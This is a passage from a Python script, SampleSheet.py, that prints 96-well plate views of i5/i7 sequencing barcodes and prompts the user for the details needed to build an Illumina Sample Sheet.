{\n'i7A01':'TGACGTAC',\n'i7A02':'TAACTGCA',\n'i7A03':'TCCACAGT',\n'i7A04':'TCTTAACC',\n'i7A05':'TAGTGTGA',\n'i7A06':'TACCTCTA',\n'i7A07':'TATGTCGC',\n'i7A08':'TGCATGTA',\n'i7A09':'TCATCATC',\n'i7A10':'TGCACACA',\n'i7A11':'TGTAGCGA',\n'i7A12':'TCTAGCTT',\n'i7B01':'TGGTCCTA',\n'i7B02':'TCCAACGA',\n'i7B03':'TAGGACAC',\n'i7B04':'TATACGGA',\n'i7B05':'TAAGCGTA',\n'i7B06':'TCGTTGTA',\n'i7B07':'TCTCCTTC',\n'i7B08':'TGATGCTT',\n'i7B09':'TGATCTCA',\n'i7B10':'TGTCTAGA',\n'i7B11':'TATGAGCA',\n'i7B12':'TGGAGTTA',\n'i7C01':'TGTGTGTC',\n'i7C02':'TGCTACAA',\n'i7C03':'TCGTAGAC',\n'i7C04':'TGTAATGC',\n'i7C05':'TATGGAAC',\n'i7C06':'TGGTATTC',\n'i7C07':'TCAAGTGA',\n'i7C08':'TCTTGTGT',\n'i7C09':'TCTGTAGT',\n'i7C10':'TCCTGAGA',\n'i7C11':'TGCACGAT',\n'i7C12':'TACGTGGA',\n'i7D01':'TCATGGAT',\n'i7D02':'TCTGCGAA',\n'i7D03':'TGAGACGA',\n'i7D04':'TCGTAAGT',\n'i7D05':'TAATCCGA',\n'i7D06':'TAGACCAA',\n'i7D07':'TCCGCTAT',\n'i7D08':'TGGTTACA',\n'i7D09':'TAGCCTGT',\n'i7D10':'TGCGACTT',\n'i7D11':'TCGAACTC',\n'i7D12':'TGAAGAGT',\n'i7E01':'TAGGTCTT',\n'i7E02':'TGGATGGT',\n'i7E03':'TACCGTTC',\n'i7E04':'TCTCACTA',\n'i7E05':'TGTTGGAC',\n'i7E06':'TCGCCATA',\n'i7E07':'TGATAAGC',\n'i7E08':'TCAGTCAC',\n'i7E09':'TATCACGT',\n'i7E10':'TAAGAACC',\n'i7E11':'TGCTGATC',\n'i7E12':'TATTGTCC',\n'i7F01':'TCAGAGTT',\n'i7F02':'TAAGGTCA',\n'i7F03':'TCACTTCC',\n'i7F04':'TCCTTCTT',\n'i7F05':'TAGATTGC',\n'i7F06':'TGACTCGT',\n'i7F07':'TGGCATAA',\n'i7F08':'TCTATGGC',\n'i7F09':'TCCGATTA',\n'i7F10':'TAACGAGA',\n'i7F11':'TACAGACC',\n'i7F12':'TACCGGAT',\n'i7G01':'TGTCGCAT',\n'i7G02':'TGCGTTCA',\n'i7G03':'TCATACCA',\n'i7G04':'TCTGTCCA',\n'i7G05':'TCTTGCAA',\n'i7G06':'TACCTAGT',\n'i7G07':'TATCGGTA',\n'i7G08':'TCACCAAT',\n'i7G09':'TCGAGGAA',\n'i7G10':'TACCATGA',\n'i7G11':'TGTGGATA',\n'i7G12':'TACAAGTC',\n'i7H01':'TACTCCAT',\n'i7H02':'TATCTGAC',\n'i7H03':'TAGTGCTC',\n'i7H04':'TGAATGAC',\n'i7H05':'TCTTAGGA',\n'i7H06':'TACGCATC',\n'i7H07':'TGGAAGCA',\n'i7H08':'TCTGACAT',\n'i7H09':'TGAGCAAC',\n'i7H10':'TGGATATC',\n'i7H11':'TCGCTAAC',\n'i7H12':'TGTACCTC' \n}\n\n# Generate console table-views of i5 barcoded sequences:\n# Define console plateviews\ndef i5_plateview():\n i5_plateview = PrettyTable()\n\n plt_x = list(range(1,13))\n plt_x.insert(0,' ')\n i5_plateview.field_names = plt_x\n\n i5_plateview_rowAa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(0,12)]\n i5_plateview_rowAb = [i5Dict[k] for k in sorted(i5Dict.keys())[:12]]\n i5_plateview_rowA = [a + b + '\\n' for a, b in zip(i5_plateview_rowAa, i5_plateview_rowAb)]\n i5_plateview_rowA.insert(0,'A')\n\n i5_plateview_rowBa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(12,24)]\n i5_plateview_rowBb = [i5Dict[k] for k in sorted(i5Dict.keys())[12:24]]\n i5_plateview_rowB = [a + b + '\\n' for a, b in zip(i5_plateview_rowBa, i5_plateview_rowBb)]\n i5_plateview_rowB.insert(0,'B')\n\n i5_plateview_rowCa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(24,36)]\n i5_plateview_rowCb = [i5Dict[k] for k in sorted(i5Dict.keys())[24:36]]\n i5_plateview_rowC = [a + b + '\\n' for a, b in zip(i5_plateview_rowCa, i5_plateview_rowCb)]\n i5_plateview_rowC.insert(0,'C')\n\n i5_plateview_rowDa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(36,48)]\n i5_plateview_rowDb = [i5Dict[k] for k in sorted(i5Dict.keys())[36:48]]\n i5_plateview_rowD = [a + b + '\\n' for a, b in zip(i5_plateview_rowDa, i5_plateview_rowDb)]\n i5_plateview_rowD.insert(0,'D')\n\n i5_plateview_rowEa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(48,60)]\n i5_plateview_rowEb = [i5Dict[k] for k in sorted(i5Dict.keys())[48:60]]\n i5_plateview_rowE = [a + b + '\\n' for a, b in zip(i5_plateview_rowEa, i5_plateview_rowEb)]\n i5_plateview_rowE.insert(0,'E')\n\n i5_plateview_rowFa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(60,72)]\n i5_plateview_rowFb = [i5Dict[k] for k in sorted(i5Dict.keys())[60:72]]\n i5_plateview_rowF = [a + b + '\\n' for a, b in zip(i5_plateview_rowFa, i5_plateview_rowFb)]\n i5_plateview_rowF.insert(0,'F')\n\n i5_plateview_rowGa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(72,84)]\n i5_plateview_rowGb = [i5Dict[k] for k in sorted(i5Dict.keys())[72:84]]\n i5_plateview_rowG = [a + b + '\\n' for a, b in zip(i5_plateview_rowGa, i5_plateview_rowGb)]\n i5_plateview_rowG.insert(0,'G')\n\n i5_plateview_rowHa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(84,96)]\n i5_plateview_rowHb = [i5Dict[k] for k in sorted(i5Dict.keys())[84:96]]\n i5_plateview_rowH = [a + b for a, b in zip(i5_plateview_rowHa, i5_plateview_rowHb)]\n i5_plateview_rowH.insert(0,'H')\n\n i5_plateview.add_row(i5_plateview_rowA)\n i5_plateview.add_row(i5_plateview_rowB)\n i5_plateview.add_row(i5_plateview_rowC)\n i5_plateview.add_row(i5_plateview_rowD)\n i5_plateview.add_row(i5_plateview_rowE)\n i5_plateview.add_row(i5_plateview_rowF)\n i5_plateview.add_row(i5_plateview_rowG)\n i5_plateview.add_row(i5_plateview_rowH)\n \n print(i5_plateview)\n \ndef i5_revcomp_plateview():\n i5_revcomp_plateview = PrettyTable()\n\n plt_x = list(range(1,13))\n plt_x.insert(0,' ')\n i5_revcomp_plateview.field_names = plt_x\n\n i5_revcomp_plateview_rowAa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(0,12)]\n i5_revcomp_plateview_rowAb = [i5revcomp_Dict[k] for k in sorted(i5revcomp_Dict.keys())[:12]]\n i5_revcomp_plateview_rowA = [a + b + '\\n' for a, b in zip(i5_revcomp_plateview_rowAa, i5_revcomp_plateview_rowAb)]\n i5_revcomp_plateview_rowA.insert(0,'A')\n\n i5_revcomp_plateview_rowBa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(12,24)]\n i5_revcomp_plateview_rowBb = [i5revcomp_Dict[k] for k in sorted(i5revcomp_Dict.keys())[12:24]]\n i5_revcomp_plateview_rowB = [a + b + '\\n' for a, b in zip(i5_revcomp_plateview_rowBa, i5_revcomp_plateview_rowBb)]\n i5_revcomp_plateview_rowB.insert(0,'B')\n\n i5_revcomp_plateview_rowCa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(24,36)]\n i5_revcomp_plateview_rowCb = [i5revcomp_Dict[k] for k in sorted(i5revcomp_Dict.keys())[24:36]]\n i5_revcomp_plateview_rowC = [a + b + '\\n' for a, b in zip(i5_revcomp_plateview_rowCa, i5_revcomp_plateview_rowCb)]\n i5_revcomp_plateview_rowC.insert(0,'C')\n\n i5_revcomp_plateview_rowDa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(36,48)]\n i5_revcomp_plateview_rowDb = [i5revcomp_Dict[k] for k in sorted(i5revcomp_Dict.keys())[36:48]]\n i5_revcomp_plateview_rowD = [a + b + '\\n' for a, b in zip(i5_revcomp_plateview_rowDa, i5_revcomp_plateview_rowDb)]\n i5_revcomp_plateview_rowD.insert(0,'D')\n\n i5_revcomp_plateview_rowEa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(48,60)]\n i5_revcomp_plateview_rowEb = [i5revcomp_Dict[k] for k in sorted(i5revcomp_Dict.keys())[48:60]]\n i5_revcomp_plateview_rowE = [a + b + '\\n' for a, b in zip(i5_revcomp_plateview_rowEa, i5_revcomp_plateview_rowEb)]\n i5_revcomp_plateview_rowE.insert(0,'E')\n\n i5_revcomp_plateview_rowFa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(60,72)]\n i5_revcomp_plateview_rowFb = [i5revcomp_Dict[k] for k in sorted(i5revcomp_Dict.keys())[60:72]]\n i5_revcomp_plateview_rowF = [a + b + '\\n' for a, b in zip(i5_revcomp_plateview_rowFa, i5_revcomp_plateview_rowFb)]\n i5_revcomp_plateview_rowF.insert(0,'F')\n\n i5_revcomp_plateview_rowGa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(72,84)]\n i5_revcomp_plateview_rowGb = [i5revcomp_Dict[k] for k in sorted(i5revcomp_Dict.keys())[72:84]]\n i5_revcomp_plateview_rowG = [a + b + '\\n' for a, b in zip(i5_revcomp_plateview_rowGa, i5_revcomp_plateview_rowGb)]\n i5_revcomp_plateview_rowG.insert(0,'G')\n\n i5_revcomp_plateview_rowHa = [i5_well_IDs[i][0]+'\\n'+i5_well_IDs[i][1]+'\\n' for i in range(84,96)]\n i5_revcomp_plateview_rowHb = [i5revcomp_Dict[k] for k in sorted(i5revcomp_Dict.keys())[84:96]]\n i5_revcomp_plateview_rowH = [a + b for a, b in zip(i5_revcomp_plateview_rowHa, i5_revcomp_plateview_rowHb)]\n i5_revcomp_plateview_rowH.insert(0,'H')\n\n i5_revcomp_plateview.add_row(i5_revcomp_plateview_rowA)\n i5_revcomp_plateview.add_row(i5_revcomp_plateview_rowB)\n i5_revcomp_plateview.add_row(i5_revcomp_plateview_rowC)\n i5_revcomp_plateview.add_row(i5_revcomp_plateview_rowD)\n i5_revcomp_plateview.add_row(i5_revcomp_plateview_rowE)\n i5_revcomp_plateview.add_row(i5_revcomp_plateview_rowF)\n i5_revcomp_plateview.add_row(i5_revcomp_plateview_rowG)\n i5_revcomp_plateview.add_row(i5_revcomp_plateview_rowH)\n \n print(i5_revcomp_plateview)\n\n# Generate console table-views of i7 barcoded sequences\ndef i7_plateview():\n i7_plateview = PrettyTable()\n\n plt_x = list(range(1,13))\n plt_x.insert(0,' ')\n i7_plateview.field_names = plt_x\n\n i7_plateview_rowAa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(0,12)]\n i7_plateview_rowAb = [i7Dict[k] for k in sorted(i7Dict.keys())[:12]]\n i7_plateview_rowA = [a + b + '\\n' for a, b in zip(i7_plateview_rowAa, i7_plateview_rowAb)]\n i7_plateview_rowA.insert(0,'A')\n\n i7_plateview_rowBa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(12,24)]\n i7_plateview_rowBb = [i7Dict[k] for k in sorted(i7Dict.keys())[12:24]]\n i7_plateview_rowB = [a + b + '\\n' for a, b in zip(i7_plateview_rowBa, i7_plateview_rowBb)]\n i7_plateview_rowB.insert(0,'B')\n\n i7_plateview_rowCa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(24,36)]\n i7_plateview_rowCb = [i7Dict[k] for k in sorted(i7Dict.keys())[24:36]]\n i7_plateview_rowC = [a + b + '\\n' for a, b in zip(i7_plateview_rowCa, i7_plateview_rowCb)]\n i7_plateview_rowC.insert(0,'C')\n\n i7_plateview_rowDa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(36,48)]\n i7_plateview_rowDb = [i7Dict[k] for k in sorted(i7Dict.keys())[36:48]]\n i7_plateview_rowD = [a + b + '\\n' for a, b in zip(i7_plateview_rowDa, i7_plateview_rowDb)]\n i7_plateview_rowD.insert(0,'D')\n\n i7_plateview_rowEa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(48,60)]\n i7_plateview_rowEb = [i7Dict[k] for k in sorted(i7Dict.keys())[48:60]]\n i7_plateview_rowE = [a + b + '\\n' for a, b in zip(i7_plateview_rowEa, i7_plateview_rowEb)]\n i7_plateview_rowE.insert(0,'E')\n\n i7_plateview_rowFa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(60,72)]\n i7_plateview_rowFb = [i7Dict[k] for k in sorted(i7Dict.keys())[60:72]]\n i7_plateview_rowF = [a + b + '\\n' for a, b in zip(i7_plateview_rowFa, i7_plateview_rowFb)]\n i7_plateview_rowF.insert(0,'F')\n\n i7_plateview_rowGa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(72,84)]\n i7_plateview_rowGb = [i7Dict[k] for k in sorted(i7Dict.keys())[72:84]]\n i7_plateview_rowG = [a + b + '\\n' for a, b in zip(i7_plateview_rowGa, i7_plateview_rowGb)]\n i7_plateview_rowG.insert(0,'G')\n\n i7_plateview_rowHa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(84,96)]\n i7_plateview_rowHb = [i7Dict[k] for k in sorted(i7Dict.keys())[84:96]]\n i7_plateview_rowH = [a + b for a, b in zip(i7_plateview_rowHa, i7_plateview_rowHb)]\n i7_plateview_rowH.insert(0,'H')\n\n i7_plateview.add_row(i7_plateview_rowA)\n i7_plateview.add_row(i7_plateview_rowB)\n i7_plateview.add_row(i7_plateview_rowC)\n i7_plateview.add_row(i7_plateview_rowD)\n i7_plateview.add_row(i7_plateview_rowE)\n i7_plateview.add_row(i7_plateview_rowF)\n i7_plateview.add_row(i7_plateview_rowG)\n i7_plateview.add_row(i7_plateview_rowH)\n \n print(i7_plateview)\n \ndef i7_revcomp_plateview():\n i7_revcomp_plateview = PrettyTable()\n\n plt_x = list(range(1,13))\n plt_x.insert(0,' ')\n i7_revcomp_plateview.field_names = plt_x\n\n i7_revcomp_plateview_rowAa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(0,12)]\n i7_revcomp_plateview_rowAb = [i7revcomp_Dict[k] for k in sorted(i7revcomp_Dict.keys())[:12]]\n i7_revcomp_plateview_rowA = [a + b + '\\n' for a, b in zip(i7_revcomp_plateview_rowAa, i7_revcomp_plateview_rowAb)]\n i7_revcomp_plateview_rowA.insert(0,'A')\n\n i7_revcomp_plateview_rowBa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(12,24)]\n i7_revcomp_plateview_rowBb = [i7revcomp_Dict[k] for k in sorted(i7revcomp_Dict.keys())[12:24]]\n i7_revcomp_plateview_rowB = [a + b + '\\n' for a, b in zip(i7_revcomp_plateview_rowBa, i7_revcomp_plateview_rowBb)]\n i7_revcomp_plateview_rowB.insert(0,'B')\n\n i7_revcomp_plateview_rowCa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(24,36)]\n i7_revcomp_plateview_rowCb = [i7revcomp_Dict[k] for k in sorted(i7revcomp_Dict.keys())[24:36]]\n i7_revcomp_plateview_rowC = [a + b + '\\n' for a, b in zip(i7_revcomp_plateview_rowCa, i7_revcomp_plateview_rowCb)]\n i7_revcomp_plateview_rowC.insert(0,'C')\n\n i7_revcomp_plateview_rowDa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(36,48)]\n i7_revcomp_plateview_rowDb = [i7revcomp_Dict[k] for k in sorted(i7revcomp_Dict.keys())[36:48]]\n i7_revcomp_plateview_rowD = [a + b + '\\n' for a, b in zip(i7_revcomp_plateview_rowDa, i7_revcomp_plateview_rowDb)]\n i7_revcomp_plateview_rowD.insert(0,'D')\n\n i7_revcomp_plateview_rowEa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(48,60)]\n i7_revcomp_plateview_rowEb = [i7revcomp_Dict[k] for k in sorted(i7revcomp_Dict.keys())[48:60]]\n i7_revcomp_plateview_rowE = [a + b + '\\n' for a, b in zip(i7_revcomp_plateview_rowEa, i7_revcomp_plateview_rowEb)]\n i7_revcomp_plateview_rowE.insert(0,'E')\n\n i7_revcomp_plateview_rowFa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(60,72)]\n i7_revcomp_plateview_rowFb = [i7revcomp_Dict[k] for k in sorted(i7revcomp_Dict.keys())[60:72]]\n i7_revcomp_plateview_rowF = [a + b + '\\n' for a, b in zip(i7_revcomp_plateview_rowFa, i7_revcomp_plateview_rowFb)]\n i7_revcomp_plateview_rowF.insert(0,'F')\n\n i7_revcomp_plateview_rowGa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(72,84)]\n i7_revcomp_plateview_rowGb = [i7revcomp_Dict[k] for k in sorted(i7revcomp_Dict.keys())[72:84]]\n i7_revcomp_plateview_rowG = [a + b + '\\n' for a, b in zip(i7_revcomp_plateview_rowGa, i7_revcomp_plateview_rowGb)]\n i7_revcomp_plateview_rowG.insert(0,'G')\n\n i7_revcomp_plateview_rowHa = [i7_well_IDs[i][0]+'\\n'+i7_well_IDs[i][1]+'\\n' for i in range(84,96)]\n i7_revcomp_plateview_rowHb = [i7revcomp_Dict[k] for k in sorted(i7revcomp_Dict.keys())[84:96]]\n i7_revcomp_plateview_rowH = [a + b for a, b in zip(i7_revcomp_plateview_rowHa, i7_revcomp_plateview_rowHb)]\n i7_revcomp_plateview_rowH.insert(0,'H')\n\n i7_revcomp_plateview.add_row(i7_revcomp_plateview_rowA)\n i7_revcomp_plateview.add_row(i7_revcomp_plateview_rowB)\n i7_revcomp_plateview.add_row(i7_revcomp_plateview_rowC)\n i7_revcomp_plateview.add_row(i7_revcomp_plateview_rowD)\n i7_revcomp_plateview.add_row(i7_revcomp_plateview_rowE)\n i7_revcomp_plateview.add_row(i7_revcomp_plateview_rowF)\n i7_revcomp_plateview.add_row(i7_revcomp_plateview_rowG)\n i7_revcomp_plateview.add_row(i7_revcomp_plateview_rowH)\n \n print(i7_revcomp_plateview)\n\n# Welcome/orient to script:\nprint(\"\"\"\n ==============================================\n SampleSheet.py v1.0\n ==============================================\n https://github.com/YamamotoLabUCSF/SampleSheet\n v1.0/Committed 8-01-2019\n ----------------------------------------------\n This script accepts text to standard input, and returns a Sample Sheet file compatible with\n Illumina sequencing platforms.\n \n Python3 is required for operation. Installation of Python package \"PrettyTable\" is recommended.\n \n For usage details, please refer to README file at GitHub location and to the following manuscript:\n Ehmsen, Knuesel, Martinez, Aridomi, Asahina, Yamamoto (2021)\n \n Please cite usage as:\n SampleSheet.py\n Ehmsen, Knuesel, Martinez, Aridomi, Asahina, Yamamoto (2021)\n \n ===========================================================================\n Welcome. You will be prompted for the following user-specific information:\n * Illumina Indexed Sequencing Workflow ('A' or 'B'?)\n * Absolute path to output directory and filename for Sample Sheet\n * Investigator Name\n * Project Name\n * Single-end (SE) or Paired-end (PE) sequencing run? How many reads?\n * List of sample:barcode relationships\n \n First, you will have an opportunity to display i7 and i5 barcode names and sequences,\n in 96-well \"array\" format.\n \n \"\"\")\n \ninput(\" Press Enter to continue...\")\n\n\n# Check for prettytable installation\nprettytable_loader = importlib.util.find_spec('prettytable')\nfound = prettytable_loader is not None\nif found is True:\n pass\n# Optional PrettyTable opt-out\nelse:\n optout = input(\"\"\" \n ---------------------------------------------------------------------------------------------------\n PrettyTable recommendation\n ...for console PLATEVIEW: correspondence between barcode well ID ('A01'-'H12') and number ('1'-'96')\n ---------------------------------------------------------------------------------------------------\n SampleSheet.py uses the Python module PrettyTable to generate a console view of i7 and i5 barcode sequences,\n arrayed in 96-well format and identified to well ID as '1'-'96'.\n \n SampleSheet.py requires entry of i7 and i5 identities in number format ('1'-'96') corrresponding to well ID,\n making a console plateview potentially useful.\n \n PrettyTable is not found in your Python path.\n \n PrettyTable can be found at 'https://pypi.org/project/PrettyTable/', and installed to Python3 using\n 'python3 -m pip install prettytable'.\n \n Alternatively, PrettyTable can be installed in a Python virtual environment using the\n SampleSheet_requirements.txt file available in the SampleSheet repository. Guidelines for creating a\n Python virtual environment for SampleSheet.py (with PrettyTable installed) can be found in the README.md\n file in the SampleSheet GitHub repository (https://github.com/YamamotoLabUCSF/SampleSheet).\n \n Type 'Exit' to quit the script and make PrettyTable available to SampleSheet.py,\n or type 'Pass' to proceed without PrettyTable: \"\"\")\n if optout in ('Exit', 'Pass'):\n pass\n else:\n while optout not in ('Exit', 'Pass'):\n optout = input(\"\"\"\n Type 'Exit' or 'Pass', or press Ctrl+C to quit: \"\"\")\n \n if optout == 'Exit':\n exit(0)\n if optout == 'Pass':\n print(\"\"\" \n Okay, SampleSheet.py will proceed without displaying console view of i7 and i5 barcode sequences arrayed in 96-well\n format and identified to well ID as '1-96'.\n \n Please note that SampleSheet.py requires entry of i7 and i5 identities in number format ('1'-'96') corrresponding\n to well ID, making a console plateview potentially useful.\n \n As an alternative, a schematic of the console PLATEVIEW can be found in Ehmsen et al. 2021 (Supplemental Figure 6).\n \"\"\")\n input(\" Press Enter to continue...\")\n\n \n# Specify Illumina Indexed Sequencing Workflow ('A' vs. 'B')\nworkflow = input(\"\"\"\n ---------------------------------------------\n Illumina Indexed Sequencing Workflow (A or B)\n ---------------------------------------------\n \n Illumina Indexed Sequencing for dual-indexed (Paired End) runs uses one of two different Workflows (A or B),\n defined by whether (A) both index sequences (i7 and i5) are sequenced by primers that anneal to the 'Read 1' strand,\n or (B) i7 index is sequenced by a primer that anneals to the 'Read 1' strand, whereas i5 index is sequenced\n by a primer that anneals to the 'Read 2' strand.\n \n Awareness of the different Workflows for sequencing the indices is critical, because Workflow determines whether\n the 5'->3' index sequence (i5 or i7) is returned as a 'forward' sequence that reads just like the index sequence\n as it occurs in indexing primers during library preparation, or whether the 5'->3' index sequence is returned as a\n 'reverse complement' relative to the index sequence as it occurs in indexing primers during library preparation.\n Fundamentally, Workflow determines the 5'->3' nucleotide sequences entered for i7 and i5 indices in an Illumina\n Sample Sheet, essential for faithful demultiplexing of samples.\n \n As of December 2020, Illumina sequencing instruments use the two dual-indexed Workflows as follows:\n \n Workflow A: MiSeq, NovaSeq 6000, HiSeq 2500, HiSeq 2000\n -------------------------------------------------------\n --> i7 index sequence is recovered as 'reverse complement' relative to i7 sequence as it occurs in primers used\n for library construction.\n --> i5 index sequence is recovered as it occurs in primers used for library construction.\n \n Workflow B: iSeq100, MiniSeq, NextSeq, HiSeqX, HiSeq 4000, HiSeq 3000\n ---------------------------------------------------------------------\n --> i7 index sequence is recovered as 'reverse complement' relative to i7 sequence as it occurs in primers used\n for library construction.\n --> i5 index sequence is recovered as 'reverse complement' relative to i5 sequence as it occurs in primers used\n for library construction.\n \n Please confirm the Workflow appropriate for your sequencing application.\n \n Note, if your application is strictly single-indexed (Single End run using only i7 indices), choose Workflow 'A'. \n \n Enter 'A' or 'B' to specify the Workflow, and therefore the index sequence orientations, appropriate for your Sample Sheet: \"\"\")\n\nif workflow in ('A', 'B'):\n pass\nelse:\n while workflow not in ('A', 'B'):\n workflow = input(\"\"\"\n Type 'A' or 'B', or press Ctrl+C to quit: \"\"\")\n\n# Display console PLATEVIEWs.\nif found is True:\n if workflow == 'A':\n print(\"\"\"\n WORKFLOW A. A console view of 8-bp barcode sequences (indices) will now be displayed.\n \"\"\")\n input(\" Press Enter to display i7 plateview...\")\n print(\"\"\"\nPLATEVIEW: Barcode sequences, i7 (5'->3')\n\nPlease note, each 8-bp barcode sequence as displayed in this table is the sequence to be used in a Workflow A Sample Sheet barcode field.\nThe displayed sequence is the reverse complement of the barcode sequence as it occurs in the i7 primer.\n\"\"\")\n i7_revcomp_plateview()\n\n input(\" Press Enter to continue...\")\n\n input(\" Press Enter to display i5 plateview...\")\n \n print(\"\"\"\nPLATEVIEW: Barcode sequences, i5 (5'->3')\n\nPlease note, each 8-bp barcode sequence as displayed in this table is the sequence to be used in a Workflow A Sample Sheet barcode field.\nThe displayed sequence is identical to the barcode sequence as it occurs in the i5 primer.\n\"\"\")\n i5_plateview()\n\n elif workflow == 'B':\n print(\"\"\"\n WORKFLOW B. A console view of 8-bp barcode sequences (indices) will now be displayed.\n \"\"\")\n input(\" Press Enter to display i7 plateview...\")\n print(\"\"\"\nPLATEVIEW: Barcode sequences, i7 (5'->3')\n\nPlease note, each 8-bp barcode sequence as displayed in this table is the sequence to be used in a Workflow B Sample Sheet barcode field.\nThe displayed sequence is the reverse complement of the barcode sequence as it occurs in the i7 primer.\n\"\"\")\n i7_revcomp_plateview()\n\n input(\" Press Enter to continue...\")\n\n input(\" Press Enter to display i5 plateview...\")\n \n print(\"\"\"\nPLATEVIEW: Barcode sequences, i5 (5'->3')\n\nPlease note, each 8-bp barcode sequence as displayed in this table is the sequence to be used in a Workflow B Sample Sheet barcode field.\nThe displayed sequence is the reverse complement of the barcode sequence as it occurs in the i5 primer.\n\"\"\")\n i5_revcomp_plateview()\n \ninput(\" Press Enter to continue...\")\n \n# Specify user inputs:\n# (1) Indicate where the output Sample Sheet file should go (future .csv filename and absolute path).\nprint(\"\"\" \n ---------------------------------------------------------------------------\n Sample Sheet file name and location (absolute path to future .csv filename)\n ---------------------------------------------------------------------------\"\"\")\n\nfilename = input(r\"\"\"\n ***** Enter the name of the .csv file you'd like to create as your Sample Sheet, with an absolute path to its location.*****\n\n The .csv file should not exist yet -- it will be created as an output of this script.\n \n To create the .csv file in a directory where you can find it, enter an *absolute path*\n to where you would like this file to be created, using only forward slashes ('/') to indicate directory separations.\n\n Example: if your target file name is 'SampleSheet.csv', and you'd like to create that file\n in a directory that is accessed with an absolute path of '/Users/myname/Illumina/SampleSheet.csv' (Mac) or \n 'C:\\Users\\myname\\Illumina\\SampleSheet.csv' (PC), enter '/Users/myname/Illumina/SampleSheet.csv' (Mac) or\n 'C:/Users/myname/Illumina/SampleSheet.csv' (PC) at the command line prompt. Replace 'myname, etc.' with the\n appropriate intervening directory identifiers. Do *not* flank your entry with quotation marks (') at the command-line.\n \n Alternatively, simply enter a target file name (e.g., 'SampleSheet.csv') and run this script from\n within a directory where you'd like to output this file.\n\n -----> File name and path: \"\"\")\n\n# Wait to actually create the file until later in the script, in case there is a need to restart the script for a given file.\n\n\nprint(\"\"\" \n -----------------------------------------------------------------\n Sample Sheet inputs: [Header], [Reads], and [Data] specifications\n -----------------------------------------------------------------\"\"\")\n\n# [Header] details: specify InvestigatorName & ProjectName\nheader = input(r\"\"\"\n ....................................................................\n ***** [Header] details: specify InvestigatorName & ProjectName *****\n \n To specify InvestigatorName & ProjectName, enter text for each directly at the command line,\n separated by a comma ('InvestigatorName, ProjectName').\n \n When both text entries are entered, press ‘Enter’ again to proceed in the script.\n To skip text entries for these fields, simply press ‘Enter’ until the next prompt appears (if you skip\n entry now, 'NA' will be entered in these fields in the output file).\n\t\n Example: if your InvestigatorName is 'Dorothy Gale' and ProjectName is 'Sequences', enter\n 'Dorothy Gale, Sequences'.\n\n -----> [Header] details. InvestigatorName & ProjectName: \"\"\")\n\nif type(header.split(',')) is list:\n InvestigatorName = header.split(',')[0].strip()\n ProjectName = header.split(',')[1].strip()\nelse:\n InvestigatorName = 'NA'\n ProjectName = 'NA'\n \n# [Reads] details: specify Single-End vs. Paired-End\nreads = input(r\"\"\"\n .............................................................................................................\n ***** [Reads] details: specify whether sequencing is Single-End or Paired-End, and the number of cycles *****\n \n To specify Single-End vs. Paired-End format and number of cycles, enter text directly at the command line,\n on a single line. Indicate Single-End (SE) or Paired-End (PE), followed by the number of cycles for each read.\n Separate values by comma(s).\n\n When text is entered, press ‘Enter’ again to proceed in the script.\n\t\n Examples:\n If you are performing a Paired-End run with 151 cycles in reads 1 & 2, enter\n 'PE, 151, 151'.\n\n If you are performing a Single-End run with 151 cycles in read 1, enter\n 'SE, 151'.\n\n ----> [Reads] details: \"\"\")\n\nreads_verification = '0'\nwhile reads_verification == '0':\n if reads.split(',')[0].strip() in ('SE', 'PE'):\n readslist = [i.strip() for i in reads.split(',')]\n if readslist[0] == 'SE':\n if len(readslist) == 2:\n readsvalue = readslist[1] \n readstype = readslist[0]\n reads_verification = '1'\n else:\n reads = input(\"\"\"\n You indicated 'SE' run, but indicated an incommensurate value for # of reads (should be exactly one cycle # value);\n please correct your entry. Indicate only cycle # for insert read(s) (do not include index read cycles).\n Type 'PE' or 'SE' followed by appropriate cycle number(s), or press Ctrl+C to quit: \"\"\")\n elif readslist[0] == 'PE':\n if len(readslist) == 3:\n readsvalue = readslist[1]+'\\n'+readslist[2]\n readstype = readslist[0]\n reads_verification = '1'\n else:\n reads = input(\"\"\"\n You indicated 